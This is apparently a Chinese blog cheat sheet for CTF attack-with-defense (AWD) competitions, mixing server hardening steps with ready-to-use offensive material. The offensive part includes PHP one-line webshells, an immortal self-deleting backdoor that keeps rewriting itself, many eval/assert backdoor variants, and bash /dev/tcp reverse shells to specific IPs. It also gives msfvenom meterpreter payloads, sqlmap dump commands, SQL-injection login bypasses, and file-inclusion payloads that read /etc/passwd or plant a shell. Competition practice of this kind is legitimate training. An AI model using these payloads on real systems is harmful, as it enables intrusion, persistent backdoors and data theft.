CTF基础知识 && AWD红蓝对抗
AWD
备份源码,修改账户密码,查看是否有预留后门然后删掉
修改mysql密码
格式:mysqladmin -u用户名 -p旧密码 password 新密码
例子:mysqladmin -uroot -p 123456 password 123
MySQL 完全备份和恢复
备份某—个数据库: mysqldump -u Username -p Password 数据库名 > /root/XXX.bak
会将指定的数据库备份至roo家目录下,文件名为XXX.bak
恢复: mysql -u Username -p Password 数据库名 < /root/XXX.bak
一句话木马
<?php @eval($_REQUEST['pass']); ?> <%eval request("pass")%> <?php @eval($_POST['c']); ?>
权限维持:1.不死马, 2. nc反弹shell nc -lp 9999
ps auxww|grep shell.php 找到pid后杀掉进程就可以
修改ssh文件 vim /etc/ssh/sshd_config PermitRootLogin no
最后面加AllowUsers liu liu1
linux修改文件所有者和文件所在组
chgrp 用户名 文件名 -R
chown 用户名 文件名 -R
chmod -R 777 /var/home/userid/cc
1查看端口
netstat -tunpl netstat -tunpl | grep 23 (查看是否打开23端口)
2. 查看端口对应的应用程序
lsof -i:xxx 查进程 ps aux
3. 关闭端口
【iptable】
sudo iptables -A INPUT -p tcp --dport $PORT -j DROP"
sudo iptables -A OUTPUT -p tcp --dport $PORT -j DROP"
【kill】
Ps -aux
kill -9 PID" (PID:进程号)
sudo /etc/init.d/apache2 restart
一.防御策略
命令注入漏洞
a)例 str1 = $_POST[‘cmd’],在str1 前连接 字符”#”注释字符,str1 = “#”. $_POST[‘cmd’]
b)
上传文件漏洞
a)注释上传写入代码.
b)
文件包含漏洞
a) 修改php.ini文件
allow_url_fopen on
allow_url_include on
修改为
allow_url_fopen off
allow_url_include off
b)
远程代码执行漏洞
a) 注释危险函数:system() exec_shell() eval() assert() create_function() preg_replace() file_put_contents()
b)
缓冲区溢出漏洞
a) 目前参考”7.Linux权限漏洞”,进行防御.
b)
系统后门漏洞
a) 直接删除后门程序
b) “Ps –ef|grep bash”命令查看是否有bash后门程序
c) “ss -ltnp”命令查看,是否有后门程序监听端口
d) 从上两个步骤找到该程序pid,用”kill pid”命令结束后门bash程序
e) 在web网站目录下,查看文件内容找到webshell或一句话木马,进行删除文件或注释代码
f)
Linux权限漏洞
a)“PS –ef|grep httpd”命令查看 Apache服务是否是root执行该服务,若是修改/etc/httpd/httpd.conf 文件找到”user” “group”字段后加上apache apache,重启httpd服务。使Apache服务是apache用户执行该服务.
b) 修改/bin/cat /bin/echo等关键命令二进制文件,改成其名称,让其攻击者无法利用bash读取flag文件内容.
1.防XSS
利用strip_tags()函数过滤字符串中的 HTML 标签;
利用htmlspecialchars()函数对敏感字符进行转换。
$message = mysql_real_escape_string($message);
作为body文本输出,作为html标签的属性输出:
比如:<span>${username}</span>, <p><c:out value="${username}"></c:out></p>
<input type="text" value="${username}" />
此时的转义规则如下:
< 转成 <
> 转成 >
& 转成 &
" 转成 "
' 转成 '
javascript事件
<input type="button" οnclick='go_to_url("${myUrl}");' />
除了上面的那些转义之外,还要附加上下面的转义:
\ 转成 \\
/ 转成 \/
; 转成 ;(全角;)
e) URL属性
如果 <script>, <style>, <imt> 等标签的 src 和 href 属性值为动态内容,那么要确保这些url没有执行恶意连接。
确保:href 和 src 的值必须以 http://开头,白名单方式;不能有10进制和16进制编码字符。
?:传参参数,代表是动态的
Title:传参函数名
:传参内容的值(这就是url编码解码后变成“个人简介”,一般反射型XSS的注入点)
f)上传waf
如果是框架写出的web就很好部署了,直接require在重写文件或者数据库文件中,如果是零散的php文件,那也有办法,如果是fastcgi(nginx,IIS比较常见)运行的php就在.user.ini加一句,具体百度一下.user.ini的后门,原理一样。其他情况也可以写个脚本强行在每个PHP前面加一句,脚本代码的样例也会放出来。(当然apache也可以.htaccess强行重写到waf再转回原页面,但是万一没重写环境呢)
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:
a).在所需要防护的页面加入代码
require_once('waf.php');
就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once('waf.php');来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
b).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file = waf.php路径;
上传waf
如果是框架写出的web就很好部署了,直接require在重写文件或者数据库文件中,如果是零散的php文件,那也有办法,如果是fastcgi(nginx,IIS比较常见)运行的php就在.user.ini加一句,具体百度一下.user.ini的后门,原理一样。其他情况也可以写个脚本强行在每个PHP前面加一句,脚本代码的样例也会放出来。(当然apache也可以.htaccess强行重写到waf再转回原页面,但是万一没重写环境呢)
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:
a).在所需要防护的页面加入代码
require_once('waf.php');
就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once('waf.php');来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
b).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file = waf.php路径;
常见加固方式:
加固流程:
- 修改网站管理员密码
- 备份网站源码
- tar -zcf /tmp/name.tar.gz /path/web
- tar -zcf /tmp/name.tar.gz /var/www/html
- 备份数据库
- mysqldump -u 用户名 -p 数据库名 > 导出的文件名
- mysqldump -u user -p database > /tmp/database.sql
- 修改ssh密码(即修改当前用户密码)
- 修改MySQL密码
- set password for 用户名@localhost = password('新密码');
- set password for user@localhost = password('123');
- 修改MongoDB密码(27017端口)
- 修改Redis密码(6379端口)
- 修改网站源码中的数据库连接配置
- 部署waf(视情况而定)
文件监控
准备一个脚本,监控并删除所有新增文件。
发现内存马,直接重启php。
若监控脚本无法使用,使用命令定期查看新增与修改文件。
find web路径 -ctime -1 (查看最近一日新增的文件,是否可疑)
(1)用户登录,输入’测试存在sql注入点,万能密码 ' or 1='1 弱密码 admin/admin 火狐插件hackbar
select name,pass from tbAdmin where name='' or 1='1' and pass='123456'
(2)啊D扫描网站sql注入点,sqlmap注入,
比赛时Access数据库注入点:
http://10.1.14.1/ReadNews.asp?NewsID=20&BigClassID=2&SmallClassID=2
sqlmap -u "url" 查看系统,版本
sqlmap -u "url" --dbs 爆数据库
sqlmap -u "url" --tables -D ctf 爆表
sqlmap -u "url" --column -D ctf -T users 爆列
sqlmap -u "url" --dump -D ctf -T users "user_name,user_pass" 爆字段
网站数据库密码信息文件一般放在config.php中。
3.文件包含
(1)本地文件包含
localhost/a.php?file=/flag.txt
(2)远程文件包含
localhost/a.php?file=http:ip/echo.txt
利用,上传一句话木马
echo.txt 文件内容,会生成shell.php 内容为一句话木马。
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xx]);?>");?>
常见的文件包含函数,include(),include_once(),require(),require_once()
几种经典的测试方法:
?file=../../../../../etc/passwd 长目录截断
?page=file:///etc/passwd 读取敏感文件
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
4.越权访问 allow_url_fopen =ON, allow_url_include =ON
水平越权:修改id,访问他人
垂直越权:知道管理后台的url,通过访问,提升权限,获取数据。
/admin/upload/config.php 越权访问,无需登陆,直接显示
网站防御
上WAF,文件监控,安全狗,
在文件头写上,require_once(‘waf.php’);
可能存在flag的位置:
- 御剑扫描,双击网页打开,存在flag。
- ssh登陆,系统根目录下,/var/www/html下
- mysql数据库字段中。
- 远程主机桌面,文件夹下
一个针对php的web流量抓取,分析的应用。
可以发现ctf线下赛使用,也可以使用实际场景来抓web流量,分析攻击手段。
weblogger-master使用方法:
cd /var/www/html/ (or other web dir)
git clone https://github.com/wupco/weblogger.git
chmod -R 777 weblogger/
open http://xxxxx/weblogger/install.php in Web browser
install it
CTFDefense-CTFDefense
1.ctf-firewall.sh
iptables配置命令,可一键执行快速配置。使用时可能需要根据环境略微修改
2.commannd.md
一些线下赛中常用的linux操作命令
3.getRoot
一些本地提权poc,每个文件里都有详细的使用注释,编译好的文件在release目录下。还有几个实用脚本
4.显示器
一个简单的文件监控示例脚本,可以监控创建、删除、移动、属性修改操作,自动删除新增文件或目录。已使用pyinstaller打包成了linux可执行程序
5. WAF
linux版安全狗和几个waf脚本
nmap -nv ip n不要域名解析
nmap -sS ip SYN
nmap -T4 -A 高强度
python -c 'import pty;pty.spawn("/bin/bash")'
tar -zcf /tmp/xxx.tar.gz html
tar -xzvf /tmp/xxx.tar.gz
mysqldump –uxxx –pxxx dbname > xxx.sql
passwd
修改网站管理员密码
update users set password=md5(“xxxxxx”);
修改数据库密码
set password for 用户名@localhost = password('新密码');
bash -i >& /dev/tcp/10.51.4.222/8384 0>&1
bash -i >& /dev/tcp/10.11.23.226/5555 0>&1
/bin/bash -i &> /dev/tcp/10.51.4.222/8384 0>&1
echo "/bin/bash -i &> /dev/tcp/10.11.20.71/5555 0>&1" | /bin/bash
rm -rf /var/www/html/upload_lab/upload/*
zip:///var/www/html/upload/test.zip#test.php
http://123.206.174.251/include/2/?
op=zip://uploads/ea064516fe1e37af816bb52faa08eeb8589af4c0.png%23p
利用msf
msfvenom -p php/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=5555-f raw > 77778888.php
msfconsole:
use multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 5555
set ExitOnSession false
run -j
php不死马
caidao
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '/var/www/dvwa/.ski12.php';
$file = 'D:\\z_myweb\\phpStudy\\DVWA-master\\dvwa\\busi.php';
$code = '<?php if(md5($_GET["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@eval($_POST['a']);}?>';
while (1) {
file_put_contents($file, $code);
//system('touch -m -d "2018-12-01 09:10:12" .ski12.php');
usleep(5000);
}
后门
eval($_POST[“a”]);
assert($_POST[“a”]); 可以写成$a=“assert”;$a($_POST[a]);
array_filter(array($_POST[“a”]),”assert”);
preg_replace("/test/e",$_POST[“a"],"jutst test");
$func =create_function('',$_POST[‘a’]);$func();
echo array_map(“assert”, array($_POST[“a”]));
call_user_func("assert",$_POST['cmd’]);
call_user_func_array("assert", array($_POST[“a”]));
等等
删除不死马
kill -9 -1
kill -9 -1
linux新建用户
useradd -m username1
passwd username1
usermod -a -G sudo username1
防注入
addslashes
htmlspecialchars
CTF基础知识 && AWD红蓝对抗的更多相关文章
- 红蓝对抗 - 蓝队手册(BTFM)(转载)
本文已发表在嘶吼RoarTalk,未经授权,请勿转载! http://www.4hou.com/technology/10173.html 最佳阅读体验版:https://stackedit.io/v ...
- 安恒Red Team 内部红蓝对抗框架
0x00 准备钓鱼攻击(从公开资源) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x02 发送钓鱼邮件(到目标组织员工邮箱地址) 1.常见的红队攻击向量和技术 2.常见的蓝 ...
- Photoshop CS6 基础知识
Photoshop CS6 基础知识 新建 练习 宽度72, 像素厘米 ...
- UI设计初学者教程:色彩基础知识
编辑:千锋UI设计 初学设计都会先认识三原色,通常我们说的三原色指的是颜料三原色:红.黄.蓝:其实三原色还有色光三原色:红.绿.蓝.我们通常说的红黄蓝就是减色法三原色,而红绿蓝是加色法三原色.可能这么 ...
- Postman和Selenium IDE开局自带红蓝BUFF属性,就问你要还是不要
话不多说,下面给大家介绍两款工具,selenium IDE和Postman. 为什么说是自带红蓝Buff,因为想做UI自动化和接口自动化的同学,很多时候,都难在了开头. 比如你要学习语言,你要学习框架 ...
- Windows_Program_Via_C_Translate_Win32编程的背景知识/基础知识_包括基本输入输出机制介绍
Some Basic Background Story of The Win32 APIs Win32 API背景故事/背景知识 The Win32 application programming i ...
- 想入门Web安全,这些基础知识都学会了吗?
毕业季已经正式告一段落,这届毕业生都找到心仪的工作了吗? 正在实习期或者试用期的职场新人,是否在岗位上做的风生水起? 工作了一两年,从未升职加薪的菜鸟,还愿意继续原地踏步吗? 在校学生.IT从业者.毕 ...
- AI-图像基础知识-01
目前人工智能Artificial Intelligence主要分为两大分支: 计算机视常见:Computer Vision,简称CV CV主要是研究如何让机器看懂世界的一种技术,通过各种光 ...
- 【STM32H7教程】第50章 STM32H7的LCD控制器LTDC基础知识和HAL库API
完整教程下载地址:http://www.armbbs.cn/forum.php?mod=viewthread&tid=86980 第50章 STM32H7的LCD控制器LTDC基础 ...
随机推荐
- 详解Python 切片语法
Python的切片是特别常用的功能,主要用于对列表的元素取值.这篇文章主要介绍了详解Python 切片语法,需要的朋友可以参考下 Python的切片是特别常用的功能,主要用于对列表的元素取值.使用切片 ...
- PL/SQL老是自动断开问题处理
问题背景:情况是这样的,很多开发同事的plsql上班时间开着8个小时,有时候他们出去抽烟后或者中午吃完饭,回来在plsql上面执行就报错无响应,然后卡住了半天动弹不了,非得重新登录plsql才生效,我 ...
- 18、属性赋值-@Value赋值
18.属性赋值-@Value赋值 18.1 使用@Value赋值三种方式 基本数值 可以写SPEL 表达式,例如: #{} 可以写${} ,取出配置文件中的值(在运行环境变量里面的值) package ...
- 052_获取本机 MAC 地址
#!/bin/baship a s | awk 'BEGIN{print "本机 MAC 地址信息如下:"}/^[0-9]/{print $2;getline;if($0~/lin ...
- [Luogu] 跑路
https://www.luogu.org/problemnew/show/P1613 Floyd判断是否一步到达 将一步到达的连变跑Floyd #include <iostream> # ...
- NSString的导出
字符串的导出,写到某个文件中去 void stringExport(){ NSString *str=@"123456"; //if file not exist will not ...
- 初次Java web项目的建立以及与数据库的连接
题目要求: 1登录账号:要求由6到12位字母.数字.下划线组成,只有字母可以开头:(1分) 2登录密码:要求显示“• ”或“*”表示输入位数,密码要求八位以上字母.数字组成.(1分) 3性别:要求用单 ...
- Jenkins 插件加速下载
本文主旨 看到好多加速Jenkins安装插件速度的文章,大多数教程中都是在插件配置里使用 https://mirrors.tuna.tsinghua.edu.cn/jenkins/updates/up ...
- Truffle测试框架
Truffle测试框架 2018年06月08日 19:01:19 tianlongtc 阅读数 1000 Truffle 有一个标准的自动化测试框架,让你可以非常方便地测试您的合约.这个框架允许您 ...
- 最全的tcpdump使用详解
简介 用简单的话来定义tcpdump,就是:dump the traffic on a network,根据使用者的定义对网络上的数据包进行截获的包分析工具. tcpdump可以将网络中传送的数据包的 ...